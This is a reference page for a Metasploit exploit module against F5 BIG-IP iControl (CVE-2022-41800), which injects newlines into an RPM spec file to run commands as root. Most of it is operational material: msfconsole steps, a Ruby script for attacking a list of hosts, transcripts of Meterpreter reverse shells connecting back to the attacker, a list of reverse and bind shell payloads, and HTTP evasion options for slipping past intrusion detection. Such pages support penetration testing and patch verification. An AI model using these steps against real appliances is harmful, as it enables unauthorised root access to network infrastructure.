F5 BIG-IP iControl Authenticated RCE via RPM Creator - Metasploit


This page contains detailed information about how to use the exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: F5 BIG-IP iControl Authenticated RCE via RPM Creator
Module: exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
Source code: modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb
Disclosure date: 2022-11-16
Last modification time: 2022-11-23 10:42:07 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-41622, CVE-2022-41800

This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Using f5_icontrol_rpmspec_rce_cve_2022_41800 against a single host

Normally, you can use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 this way:

msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show targets
    ... a list of targets ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > set TARGET target-id
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show options
    ... show and set options ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit

Using f5_icontrol_rpmspec_rce_cve_2022_41800 against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your f5_icontrol_rpmspec_rce_cve_2022_41800 will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be downloaded as a VMWare image for free (you have to create an account) from https://downloads.f5.com. You can register for a free 30-day trial if you like, but it's not required to test this.

Boot the VM and set an admin password by logging in with the default credentials (admin / admin). You'll need that password.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
  4. Do set RHOST <target> / set HttpUsername admin / set HttpPassword <thepasswordyouchose>
  5. Do: run
  6. You should get a session

Options


HttpUsername / HttpPassword

The account to authorize as - requires console access. The admin account (which is the default HttpUsername) works great, if you have the password.

Scenarios


F5 Big-IP 17.0.0.1

This should be the normal experience:

msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
HttpPassword => mybigippassword

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444 
[*] Creating an .rpmspec file on the target...
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[*] Building the RPM to trigger the payload...
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800

meterpreter > getuid
Server username: root

Go back to menu.

Msfconsole Usage


Here is how the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800

[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show info

       Name: F5 BIG-IP iControl Authenticated RCE via RPM Creator
     Module: exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-16

Provided by:
  Ron Bowes

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Default

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  HttpPassword                   yes       iControl password
  HttpUsername  admin            yes       iControl username
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT         443              yes       The target port (TCP)
  SSL           true             no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host

Payload information:

Description:
  This module exploits a newline injection into an RPM .rpmspec file 
  that permits authenticated users to remotely execute commands. 
  Successful exploitation results in remote code execution as the root 
  user.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-41800
  https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/
  https://support.f5.com/csp/article/K97843387
  https://support.f5.com/csp/article/K13325942

View the full module info with the info -d command.

Module Options


This is a complete list of options available in the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show options

Module options (exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   yes       iControl password
   HttpUsername  admin            yes       iControl username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.126    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Default


View the full module info with the info, or info -d command.

Advanced Options


Here is a complete list of advanced options supported by the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show advanced

Module advanced options (exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800):

   Name                     Current Setting                               Required  Description
   ----                     ---------------                               --------  -----------
   AllowNoCleanup           false                                         no        Allow exploitation without the possibility of cleaning up files
   ContextInformationFile                                                 no        The information file that contains context information
   DOMAIN                   WORKSTATION                                   yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                          no        Conform to IIS, should work for most servers. Only set to false for non-IIS serve
                                                                                    rs
   DisablePayloadHandler    false                                         no        Disable the handler code for the selected payload
   EnableContextEncoding    false                                         no        Use transient context when encoding payloads
   FileDropperDelay                                                       no        Delay in seconds before attempting cleanup
   FingerprintCheck         true                                          no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                      no        HTTP connection and receive timeout
   HttpRawHeaders                                                         no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                         no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                       no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                         no        Show HTTP headers only in HttpTrace
   SSLServerNameIndication                                                no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                          yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
                                                                                    ) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent                Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv  no        The User-Agent header to use for all requests
                            :97.0) Gecko/20100101 Firefox/97.0
   VERBOSE                  false                                         no        Enable detailed status messages
   WORKSPACE                                                              no        Specify the workspace for this module
   WfsDelay                 2                                             no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild        false            no        Enable debugging for the Python meterpreter
   MeterpreterDebugLogging                       no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
                                                           preter-Debugging-Meterpreter-Sessions
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
                                                           T
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

View the full module info with the info, or info -d command.

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 module can exploit:

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Default

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show payloads

Compatible Payloads
===================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                            normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager
   21  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
   22  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager
   23  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
   24  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager
   25  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
   26  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
   27  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline
   28  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
   29  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
   30  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline
   31  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)
   32  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)
   33  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)
   34  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)
   35  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)
   36  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)
   37  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   38  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)
   39  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   40  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   42  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)
   43  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   44  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)
   45  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)
   46  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)
   47  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   48  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   49  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   50  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)
   51  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   52  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   53  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)
   54  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   55  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)
   56  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   57  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   58  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)
   59  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH
   60  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   61  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)
   62  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   63  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   64  payload/cmd/windows/powershell/generic/debug_trap                      normal  No     Powershell Exec, Generic x86 Debug Trap
   65  payload/cmd/windows/powershell/generic/tight_loop                      normal  No     Powershell Exec, Generic x86 Tight Loop
   66  payload/generic/custom                                                 normal  No     Custom Payload
   67  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   68  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   69  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
                                                            andom)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to send HTTP request


Here is a relevant code snippet related to the "Failed to send HTTP request" error message:

87:	          'summary' => rand_text_alphanumeric(5..10)
88:	        }
89:	      }.to_json
90:	    })
91:	
92:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:	
96:	    json = result&.get_json_document
97:	    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json

Authentication failed


Here is a relevant code snippet related to the "Authentication failed" error message:

88:	        }
89:	      }.to_json
90:	    })
91:	
92:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:	
96:	    json = result&.get_json_document
97:	    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:	

Server returned an unexpected response: HTTP/<RESULT.CODE>


Here is a relevant code snippet related to the "Server returned an unexpected response: HTTP/<RESULT.CODE>" error message:

89:	      }.to_json
90:	    })
91:	
92:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:	
96:	    json = result&.get_json_document
97:	    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:	
99:	    file_path = json['specFilePath']

Server didn't return valid JSON


Here is a relevant code snippet related to the "Server didn't return valid JSON" error message:

92:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:	
96:	    json = result&.get_json_document
97:	    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:	
99:	    file_path = json['specFilePath']
100:	    fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
101:	    vprint_status("Created spec file: #{file_path}")
102:	    register_file_for_cleanup(file_path)

Server didn't return a specFilePath


Here is a relevant code snippet related to the "Server didn't return a specFilePath" error message:

95:	
96:	    json = result&.get_json_document
97:	    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:	
99:	    file_path = json['specFilePath']
100:	    fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
101:	    vprint_status("Created spec file: #{file_path}")
102:	    register_file_for_cleanup(file_path)
103:	
104:	    # We can also use `exit 1` in the %check function to prevent this file
105:	    # from being created, rather than cleaning it up.. but that seems noisier?

Failed to send HTTP request


Here is a relevant code snippet related to the "Failed to send HTTP request" error message:

116:	        'state' => {},
117:	        'appName' => rand_text_alphanumeric(5..10),
118:	        'packageDirectory' => '/tmp',
119:	        'specFilePath' => file_path
120:	      }.to_json
121:	    })
122:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125:	  end
126:	end

Authentication failed


Here is a relevant code snippet related to the "Authentication failed" error message:

116:	        'state' => {},
117:	        'appName' => rand_text_alphanumeric(5..10),
118:	        'packageDirectory' => '/tmp',
119:	        'specFilePath' => file_path
120:	      }.to_json
121:	    })
122:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125:	  end
126:	end

Server returned an unexpected response: HTTP/<RESULT.CODE>


Here is a relevant code snippet related to the "Server returned an unexpected response: HTTP/<RESULT.CODE>" error message:

116:	        'state' => {},
117:	        'appName' => rand_text_alphanumeric(5..10),
118:	        'packageDirectory' => '/tmp',
119:	        'specFilePath' => file_path
120:	      }.to_json
121:	    })
122:	    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123:	    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124:	    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125:	  end
126:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ron Bowes

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.